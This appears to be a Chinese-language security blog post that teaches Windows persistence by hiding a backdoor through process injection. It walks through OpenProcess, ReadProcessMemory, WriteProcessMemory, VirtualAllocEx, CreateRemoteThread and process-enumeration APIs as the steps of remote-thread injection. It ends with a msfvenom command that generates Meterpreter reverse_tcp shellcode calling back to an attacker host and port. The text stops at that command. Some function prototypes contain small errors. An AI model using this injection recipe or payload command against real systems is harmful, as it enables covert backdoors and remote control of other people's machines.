技术分享
Windows权限维持——利用动态补丁技术隐藏后门
发布时间 · 2023-12-04

一.什么是动态补丁?

动态补丁又称热补丁,是指目标PE处于活跃状态时(即进程)为其实施的补丁。
一个完整的动态补丁一般需要具备以下四个要素:

1. 与其他进程通信的能力。

2. 良好的读写其他进程地址空间的能力。

3. 能正确的识别要补丁的目标进程。

4. 在其他进程地址空间执行代码的能力。

二.什么是后门?

后门是指恶意程序或代码,通过绕过正常的访问控制机制,使攻击者能够在目标系统中保持持久的访问和控制权限。后门通常被用于非法入侵、数据盗取、远程控制等恶意活动。

三.进程间通信机制

Windows中,实现进程间通信的机制有很多方法,归纳一下分为两大类:
 一种是通过两个进程实施的耦合性强的进程间通信。这种通信机制要求参与通信的两个进程必须密切配合,两个进程工作在服务器/客户端模式。这类通信机制主要包括匿名管道、命名管道、邮件槽、远程方法调用等。

另外一种是由第三方参与的耦合性相对较弱的进程间通信,比如通过剪贴板、共享内存、动态链接库、映射文件、注册表、一般文件、SocketWindows消息队列、信号量等。

四.读写进程内存

读写其他进程内存地址空间是动态补丁必须具备的功能,但Windows的安全机制不允许一个进程直接读写其他进程空间的数据,除非使用了特定的Windows API 函数。这些函数包括:

OpenProcess              通过设置访问权限打开要读写的进程
ReadProcessMemory        实现打开进程空间数据的读取
WriteProcessMemory       完成向打开的进程空间写入数据

以下是这三个函数的详细介绍。

(1)OpenProcess函数

OpenProcess函数用来打开一个已存在的进程对象,并返回进程的句柄。函数原型定义如下:

HANDLE OpenProcess(
DWORD dwDesiredAccess,     //访问权限
BOOL  bInheritHandle,     //继承标志,若句柄能由子进程继承,则设置为TRUE
DWORD dwProcessId           //进程号
);

各参数解释如下:

• dwDesiredAccess:访问权限。它可以是表1所列的值。

1 OpenProcess函数dwDesiredAccess参数的值

• bInheritHandle:继承标志;如果设置为TRUE,表示继承打开的进程,否则表示不继承。

• dwProcessId:进程的ID号。

• 返回值:如果成功,返回值为指定进程的句柄;如果失败,返回值为空。

2ReadProcessMemory函数

读进程内存函数。以下是函数原型:

BOOL ReadProcessMemory(
HANDLE hProcess,             //远程进程句柄
PVOID pvAddressRemote,     //远程进程地址VA(虚拟地址)值
PVOID pvBufferLocal,       //存放数据的缓冲区
DWORD dwSize,                   //缓冲区大小
PDWORD pdwNumBytesRead   //读出的实际字节数,是输出参数
);

各参数解释如下:

• hProcess:远程进程的句柄,远程进程即为要操作的进程。

• pvAddressRemote:要操作的进程的地址空间,该地址为VA

• pvBufferLocal:存放要操作的数据的本地缓冲区。

• dwSize:本地缓冲区大小。

• pdwNumBytesRead:输出参数,表示本次读取的实际字节数。

• 返回值:如果成功,返回TRUE,否则返回NULL

3WriteProcessMemory函数

写进程内存函数。完整定义如下:

BOOL writeProcessMemory(
HANDLE hProcess,          //远程进程句柄
PVOID pvAddressRemote  //远程进程地址VA
PVOID pvBufferLocal ,    //存放数据的缓冲区
DWORD dwSize,                //缓冲区大小
PDWORD pdwNumBytesRead  //读写的字节数,是返回值
);

读进程内存和写进程内存的函数的参数定义是一样的,各参数的解释如下:

• hProcess:指定将要被读写的目标进程句柄。

• pvAddressRemote:目标进程中被读写的起始线性地址。

• pvBufferLocal:用来接收读取数据的缓冲区(对于ReadProcessMemory 函数)或者要写到目标进程的数据缓冲区(对于WriteProcessMemory 函数)

• dwSize:要读写的字节数。

• pdwNumBytesRead:指向一个双字变量,供函数返回实际读写的字节数﹔如果不关心这个结果,可以将其设置为NULL

• 返回值:如果函数执行成功,那么返回值是非0值,执行失败的话返回0

五.目标进程枚举

在进行动态补丁时,有一步是必需的,即获取目标进程的句柄或者ID号。通过枚举系统进程即可获取这些信息。

枚举Win32子系统进程的方法很多,常见的有以下四种。

1)调用PSAPI.DLL提供的函数

该动态链接库是微软Windows NT开发小组开发的与进程有关的函数集。核心函数包括:

EnumDeviceDriversEnumPageFilesAEnumPageFileswEnumProcessModulesEnumProcesses

2)调用ToolHelp API提供的函数

ToolHelp32函数是一组存储在Kernel32.dll中的Windows API函数,它能够通过Snapshot获得驻留在系统内存中的进程表、线程表、模块表和堆表。核心函数包括:

CreateToolhelp32SnapshotProcess32FirstProcess32FirstwProcess32NextProcess32NextwModule32FirstModule32FirstwModule32NextModule32Nextw

3)调用ntdll.dll中未公开的API函数

ntdll.dll中,有一组以NtQuery开头的函数集,利用其中的函数可以获取系统相关数据结构的信息,其中就包括进程信息。核心函数包括:

NtQueryInformationProcessNtQueryInformationThreadNtQuerySystemInformation

4)调用PDH.DLL中的API函数

PDHPerformance Data Helper,性能数据辅助数据库)中包含了大量的信息,例如CPU使用率、内存使用率、系统进程信息等;该数据库既可以通过注册表函数来访问,也可以通过动态链接库PDH.DLL提供的系列函数访问。核心函数包括:

PdhCloseQueryPdhOpenQueryAPdhOpenQueryHPdhOpenQueryWPdhEnumObjectItemsAPdhEnumObjectItemsHAPdhEnumObjectItemsHWPdhEnumObjectItemsWPdhAddCounterApdhAddCounterWPdhCollectQueryDataPdhCollectQueryDataEx
PdhGetFormattedCounterArrayAPdhGetFormattedCounterArrayWPdhGetFormattedCounterValue

六.执行远程线程

大部分的动态补丁最后一步要实现代码的运行,即确保插入到目标进程内存的数据要具备运行权,并能最终运行起来。在一个进程中要运行插入的代码,最好的办法就是通过远程线程技术,即将一段代码挂接到目标进程中,并指定代码块作为该目标进程的一个线程来运行。

Windows API为远程线程执行提供了函数支持。以下是大致的步骤:

1. 使用OpenProcess函数打开目标进程,获取进程操作句柄。

2. 使用VirtualAllocEx函数在目标进程中分配内存。

3. 使用WriteProcessMemory函数将远程代码写入。

4. 使用CreateRemoteThread函数在目标进程中创建远程线程并执行。

OpenProcess函数和WriteProcessMemory函数前面已经介绍过,下面重点介绍另外两个函数。

1VirtualAllocEx函数

VritualAllocEx函数内存分配函数的原型如下:

LPVOID virtualAllocEx(
HANDLE hProcess,             //申请内存所在的进程句柄
LPVOID lpAddress,         //保留页面的内存地址,NULL表示自动分配
SIZE_T dwSize,                //欲分配的内存大小
DWORD flAllocationType,   //内存分配属性
DWORD flProtect             //分配区页面属性
) ;

其中各参数解释如下:

flAllocationType,内存分配属性,可取下列值:

MEM_COMMIT     为特定的页面区域分配内存中或磁盘的页面文件中的物理存储。MEM_PHYSICAL 分配物理内存(仅用于地址窗口扩展内存)
MEM_RESERVE    保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用函数VirtualAlloc而被占用,直到最终提交。
MEM_RESET       指明在内存中由参数lpAddressdwSize指定的数据无效。MEM_TOP_DOWN 在尽可能高的地址上分配内存。

fIProtect,分配区的页面属性,可取下列值:

PAGE_READONLY             区域为只读,如果应用程序试图访问区域中的页的时候,将会被拒绝访问。

PAGE_READWRITE           区域可被应用程序读写。

PAGE_EXECUTE              区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。

PAGE_EXECUTE_READ       区域包含可执行代码,应用程序可以读该区域。

PAGE_EXECUTE_READWRITE  区域包含可执行代码,应用程序可以读写该区域。

PAGE_GUARD              区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限。

PAGE_NOACCESS             任何访问该区域的操作将被拒绝。

PAGE_NOCACHE              RAM中的页映射到该区域时将不会被微处理器缓存(cached)。

返回值:如果执行成功就返回分配内存的首地址,不成功则返回NULL

2CreateRemoteThread函数

CreateRemoteThread函数的原型如下:

HANDLE CreateRemoteThread(
HANDLE hProcess,                //目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes //安全属性
SIZE_T dwStackSize,            //线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress,    //线程起始地址
LPVOID lpParameter,          //传入参数
DWORD dwCreationFlags, //创建标志字
LPDWORD lpThreadId          //(输出)线程句柄
) ;

各参数解释如下:

• hProcess,目标进程句柄。

• lpThreadAttributes,线程安全描述字,一个指向SECURITY_ATTRIBUTES结构的指针。

• dwStackSize,线程栈大小,以字节表示。

• lpStartAddress,一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址。

• lpParameter,传入参数。

• dwCreationFlags,创建线程的其他标志。

• lpThreadId(输出),返回线程号,如果为NULL,则不返回。

• 返回值:如果成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。

七.隐藏后门

Linux虚拟机中使用MSF生成shellcode

msfvenom -a x86 --platform wimdows -p windows/meterpreter/reverse_tcp LHOST=192.168.4.10 LPORT=4444 -f c -o shellcode.c